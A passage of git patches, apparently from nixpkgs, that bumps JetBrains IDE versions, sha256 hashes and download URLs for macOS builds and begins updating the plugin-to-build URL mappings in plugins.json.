+      "sha256": "006fb7a0875c8fd205cd1d4204dee3be87d1fe359375b75e20ee6e0d21ca7d00",
+      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.3.dmg",
+      "build_number": "251.26094.87"
     },
     "dataspell": {
       "update-channel": "DataSpell RELEASE",
       "url-template": "https://download.jetbrains.com/python/dataspell-{version}.dmg",
-      "version": "2025.1",
-      "sha256": "dd856c72855b0309ea98774a3b4c38cf899b6e307dbd3ced316cd8cc721faa38",
-      "url": "https://download.jetbrains.com/python/dataspell-2025.1.dmg",
-      "build_number": "251.23774.439"
+      "version": "2025.1.1",
+      "sha256": "a0b3bd8513f98e448a90132dfb61b221cab22938d8a3992627f9cb141cf71926",
+      "url": "https://download.jetbrains.com/python/dataspell-2025.1.1.dmg",
+      "build_number": "251.25410.158"
     },
     "gateway": {
       "update-channel": "Gateway RELEASE",
       "url-template": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "c849cd16b77b5268ee2e8279bddf02c21a925a25885549d0b1922a785f18120f",
-      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.1.dmg",
-      "build_number": "251.25410.139"
+      "version": "2025.1.2",
+      "sha256": "b4e45266159352598d0cbd7b03283cb53260d20866ca77d57a43150e81cf3d09",
+      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.2.dmg",
+      "build_number": "251.26094.128"
     },
     "goland": {
       "update-channel": "GoLand RELEASE",
       "url-template": "https://download.jetbrains.com/go/goland-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "0b00984d45430b37538bf9c55f8f93f1476f819fba1bdea2588ffd36d7e91cb3",
-      "url": "https://download.jetbrains.com/go/goland-2025.1.1.dmg",
-      "build_number": "251.25410.140"
+      "version": "2025.1.2",
+      "sha256": "6d3c732fb3aadc7dad9bb6dafd294be04c82a4dd994223e4982b77213bf9a4b6",
+      "url": "https://download.jetbrains.com/go/goland-2025.1.2.dmg",
+      "build_number": "251.26094.127"
     },
     "idea-community": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIC-{version}.dmg",
-      "version": "2025.1.1.1",
-      "sha256": "ee1577a44930b94112819b200acd617cbb3efdfa039df7911094051e9a10e465",
-      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.1.1.dmg",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "c64c7ff7fe2e73d7552f1727d912bb5f901d040c7269b4292f94190475580c2b",
+      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.2.dmg",
+      "build_number": "251.26094.121"
     },
     "idea-ultimate": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIU-{version}.dmg",
-      "version": "2025.1.1.1",
-      "sha256": "eccd0ba3f9b1f2f680b946a3658830562fd4369dd11cc618b86671c8e237c375",
-      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.1.1.dmg",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "bacfa3bcf48d57d8e8ca8d352895025ffc42ce395b9b0074b3b566dc217324c9",
+      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.2.dmg",
+      "build_number": "251.26094.121"
     },
     "mps": {
       "update-channel": "MPS RELEASE",
@@ -353,27 +353,27 @@
     "phpstorm": {
       "update-channel": "PhpStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webide/PhpStorm-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "2f7c9b0ec1947c7bb2247fd3a949de9921e82e9a2801e388f6cf9d4421073dbd",
-      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.1.dmg",
-      "build_number": "251.25410.148",
+      "version": "2025.1.2",
+      "sha256": "18b63995efa4e5ef555f08089c998694b4e3fcda84013155e970524f92c1b90e",
+      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.2.dmg",
+      "build_number": "251.26094.133",
       "version-major-minor": "2022.3"
     },
     "pycharm-community": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-community-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "3d439ad29771d8618b03f28497899f09a6eb696c96c789b54aac9ac1bfb4766c",
-      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.1.dmg",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "38283e62677079d7d830217087c563ac6daf5e71422c03e56082bde9572e3908",
+      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.2.dmg",
+      "build_number": "251.26094.141"
     },
     "pycharm-professional": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-professional-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "cd56a7e1072f4562e2d3ef67e70f227606376572634120170f5689d3b970b570",
-      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.1.dmg",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "41c6187f4f044522d02749f979cef8f127337b2945772070a0ba44c53a6ebf0c",
+      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.2.dmg",
+      "build_number": "251.26094.141"
     },
     "rider": {
       "update-channel": "Rider RELEASE",
@@ -386,26 +386,26 @@
     "ruby-mine": {
       "update-channel": "RubyMine RELEASE",
       "url-template": "https://download.jetbrains.com/ruby/RubyMine-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "97b154079ef326c9a3ce229129d7d220faee30f266954288f74bf6f27ee43942",
-      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.1.dmg",
-      "build_number": "251.25410.120"
+      "version": "2025.1.2",
+      "sha256": "059d3d4c089b9277089bd7d64b8f6eedcf039fe791cddc694af434a1c5ad88c8",
+      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.2.dmg",
+      "build_number": "251.26094.122"
     },
     "rust-rover": {
       "update-channel": "RustRover RELEASE",
       "url-template": "https://download.jetbrains.com/rustrover/RustRover-{version}.dmg",
-      "version": "2025.1.2",
-      "sha256": "1419d2aac23965838e16c2bedc31851045f8b9d99ccf93594838a4e329059d92",
-      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.2.dmg",
-      "build_number": "251.25410.115"
+      "version": "2025.1.3",
+      "sha256": "2ed48a8d1f0afb13a5a2d59a1f478128bff406028f82290db1f9b2847a1e6ade",
+      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.3.dmg",
+      "build_number": "251.25410.170"
     },
     "webstorm": {
       "update-channel": "WebStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webstorm/WebStorm-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "44363b71b4ad461c07c2c0ae8424f6efabe356b347a2974765f88549a8ee183c",
-      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.1.dmg",
-      "build_number": "251.25410.117"
+      "version": "2025.1.2",
+      "sha256": "c33853a8d8a2dd47ce3a795202e2d802a9f1888b2c998c91cdfc9bc66f9bb19a",
+      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.2.dmg",
+      "build_number": "251.26094.131"
     },
     "writerside": {
       "update-channel": "Writerside EAP",
@@ -428,58 +428,58 @@
     "clion": {
       "update-channel": "CLion RELEASE",
       "url-template": "https://download.jetbrains.com/cpp/CLion-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "475280e277cc94d18de228bf5f81ebd6ff14084c2e1d2b0db5b4612007dc46fe",
-      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.104"
+      "version": "2025.1.2",
+      "sha256": "9a47d3d86f2465f4b741408ad3a792d63a4dff486a05103825e479dae4d63932",
+      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.123"
     },
     "datagrip": {
       "update-channel": "DataGrip RELEASE",
       "url-template": "https://download.jetbrains.com/datagrip/datagrip-{version}-aarch64.dmg",
-      "version": "2025.1.2",
-      "sha256": "6d12a59053db3dfa33079ac79b1ea263e5b3ec6fde01d1d803f6d27afea033de",
-      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.2-aarch64.dmg",
-      "build_number": "251.25410.123"
+      "version": "2025.1.3",
+      "sha256": "83da07ddd46fe95aed36d98cbb61c7f81097dc38abe5515933653746859b396c",
+      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.3-aarch64.dmg",
+      "build_number": "251.26094.87"
     },
     "dataspell": {
       "update-channel": "DataSpell RELEASE",
       "url-template": "https://download.jetbrains.com/python/dataspell-{version}-aarch64.dmg",
-      "version": "2025.1",
-      "sha256": "f6dd63c5458ea2adeb76a9042ab3316b124fd9cbdcccd4d4b08c2d90e17b49b8",
-      "url": "https://download.jetbrains.com/python/dataspell-2025.1-aarch64.dmg",
-      "build_number": "251.23774.439"
+      "version": "2025.1.1",
+      "sha256": "65bbf4da47e5ceecfab5e19f80bec7ddd5f66bfcdc8dc75691cad98958e72af1",
+      "url": "https://download.jetbrains.com/python/dataspell-2025.1.1-aarch64.dmg",
+      "build_number": "251.25410.158"
     },
     "gateway": {
       "update-channel": "Gateway RELEASE",
       "url-template": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "abad0e061896590bea9bd1d4bead2183be3c1e71d6dfcba89ce2408f34af3536",
-      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.139"
+      "version": "2025.1.2",
+      "sha256": "1cf7dcdbb5408c9c7711a436e4c763df147ce332ce2e1f260fa246af87b0a58e",
+      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.128"
     },
     "goland": {
       "update-channel": "GoLand RELEASE",
       "url-template": "https://download.jetbrains.com/go/goland-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "52e62d5a616b6ab6bf36f0d40d1925e9f477fcf84e187a2a1194d56d5ccae6ec",
-      "url": "https://download.jetbrains.com/go/goland-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.140"
+      "version": "2025.1.2",
+      "sha256": "a30940d1b2659487ababc3a9ad8e4770236e90ad6c732cb1fd0c24690829a0ce",
+      "url": "https://download.jetbrains.com/go/goland-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.127"
     },
     "idea-community": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIC-{version}-aarch64.dmg",
-      "version": "2025.1.1.1",
-      "sha256": "92ea35ebfcd9e34cd9bda0103ca036fe1f9eb900c005ae33a9295050ad636dae",
-      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.1.1-aarch64.dmg",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "61a64b8abf0b350cb14f963975fc87ec574bc4b50ae7944980c43c816ffad5a8",
+      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.121"
     },
     "idea-ultimate": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIU-{version}-aarch64.dmg",
-      "version": "2025.1.1.1",
-      "sha256": "5207878b28df2a13e4248c1936ee4fff7c89495e3d4ffdaa3b8da3f21548117e",
-      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.1.1-aarch64.dmg",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "1c1afc32c8edcf1d2057a505f7f0b0dd1f1a20a6859172c1dd6a91a311a3167b",
+      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.121"
     },
     "mps": {
       "update-channel": "MPS RELEASE",
@@ -492,27 +492,27 @@
     "phpstorm": {
       "update-channel": "PhpStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webide/PhpStorm-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "8bb7acf16076e4a32b522107bc359197bb2ee0eeebe0ed5feb1d25d9110830c1",
-      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.148",
+      "version": "2025.1.2",
+      "sha256": "0437ba56e1b12b1781ba132d10f9f66c6375cb0609b4755982c7edd1778a3a3b",
+      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.133",
       "version-major-minor": "2022.3"
     },
     "pycharm-community": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-community-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "4e493ce20dd840402ed040f4447d06cab62e59514b5ab2058e94421877f72270",
-      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "cdcdea2e167c3621f5b5ea8e0150c62d24495192edd2282616676d3f53b06063",
+      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.141"
     },
     "pycharm-professional": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-professional-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "76a97e0d1ca75cbfbcc0acb046154daec1113010c052318077a128ff89fb55a6",
-      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "89a463c896e4e7f6cf6a624b78305d881756b2a350780bfcecd15d6cb766e54b",
+      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.141"
     },
     "rider": {
       "update-channel": "Rider RELEASE",
@@ -525,26 +525,26 @@
     "ruby-mine": {
       "update-channel": "RubyMine RELEASE",
       "url-template": "https://download.jetbrains.com/ruby/RubyMine-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "6b8bd9c8ffeec01b0a907604d99cc77ede865aa9abf350e76957d9675ab8a810",
-      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.120"
+      "version": "2025.1.2",
+      "sha256": "1da265fa947d5d1cf3075495414b9e65ec519a5bd9bee5ca2fa7df67bafdc352",
+      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.122"
     },
     "rust-rover": {
       "update-channel": "RustRover RELEASE",
       "url-template": "https://download.jetbrains.com/rustrover/RustRover-{version}-aarch64.dmg",
-      "version": "2025.1.2",
-      "sha256": "3f12ad41285d6b67dcc577526976b5c394b44caa3f243147143968a505144a79",
-      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.2-aarch64.dmg",
-      "build_number": "251.25410.115"
+      "version": "2025.1.3",
+      "sha256": "552145a2d550cfcb2dc59530605dbe4af179102a99dab4b69acb80d9504d0ef3",
+      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.3-aarch64.dmg",
+      "build_number": "251.25410.170"
     },
     "webstorm": {
       "update-channel": "WebStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webstorm/WebStorm-{version}-aarch64.dmg",
-      "version": "2025.1.1",
-      "sha256": "7acfa46536b598b576775892ac46bb570dd06bc9461cc58c51b9efd4afd09139",
-      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.1-aarch64.dmg",
-      "build_number": "251.25410.117"
+      "version": "2025.1.2",
+      "sha256": "298d53fcd1a979e6910f97d9a29ac9bc0ed12386838a93a6d279bb415cf4708f",
+      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.2-aarch64.dmg",
+      "build_number": "251.26094.131"
     },
     "writerside": {
       "update-channel": "Writerside EAP",

From 6a58a15809c0e8f5b87714cf278e7ff1b7ca2d58 Mon Sep 17 00:00:00 2001
From: James Ward <james@jamesward.com>
Date: Wed, 11 Jun 2025 09:31:07 -0600
Subject: [PATCH 2107/4511] jetbrains.plugins: update

(cherry picked from commit 095aec59971c98dda9295f1d432eeecc36c05a87)
---
 .../editors/jetbrains/plugins/plugins.json    | 1219 +++++++++--------
 1 file changed, 613 insertions(+), 606 deletions(-)

diff --git a/pkgs/applications/editors/jetbrains/plugins/plugins.json b/pkgs/applications/editors/jetbrains/plugins/plugins.json
index a34e9ccd6cc4..d2b577185dad 100644
--- a/pkgs/applications/editors/jetbrains/plugins/plugins.json
+++ b/pkgs/applications/editors/jetbrains/plugins/plugins.json
@@ -17,17 +17,17 @@
       ],
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/164/676777/IdeaVIM-2.19.0.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip"
+        "251.23774.423": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.25410.170": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip"
       },
       "name": "ideavim"
     },
@@ -36,7 +36,7 @@
         "idea-ultimate"
       ],
       "builds": {
-        "251.25410.129": "https://plugins.jetbrains.com/files/631/737817/python-251.25410.129.zip"
+        "251.26094.121": "https://plugins.jetbrains.com/files/631/766544/python-251.26094.121.zip"
       },
       "name": "python"
     },
@@ -46,8 +46,8 @@
         "idea-ultimate"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/1347/667258/scala-intellij-bin-2024.3.35.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/1347/748379/scala-intellij-bin-2025.1.24.zip"
+        "243.22562.218": null,
+        "251.26094.121": "https://plugins.jetbrains.com/files/1347/770332/scala-intellij-bin-2025.1.25.zip"
       },
       "name": "scala"
     },
@@ -69,16 +69,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip"
       },
       "name": "string-manipulation"
     },
@@ -100,16 +100,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/6884/630038/handlebars-243.21565.122.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip"
       },
       "name": "handlebars-mustache"
     },
@@ -131,16 +131,16 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": null,
-        "251.25410.104": null,
-        "251.25410.115": null,
-        "251.25410.117": null,
         "251.25410.119": null,
-        "251.25410.120": null,
-        "251.25410.122": null,
-        "251.25410.123": null,
-        "251.25410.129": null,
-        "251.25410.140": null,
-        "251.25410.148": null
+        "251.25410.170": null,
+        "251.26094.121": null,
+        "251.26094.122": null,
+        "251.26094.123": null,
+        "251.26094.127": null,
+        "251.26094.131": null,
+        "251.26094.133": null,
+        "251.26094.141": null,
+        "251.26094.87": null
       },
       "name": "kotlin"
     },
@@ -162,16 +162,16 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": "https://plugins.jetbrains.com/files/6981/724264/ini-251.23774.466.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip"
       },
       "name": "ini"
     },
@@ -193,16 +193,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip"
       },
       "name": "acejump"
     },
@@ -224,16 +224,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
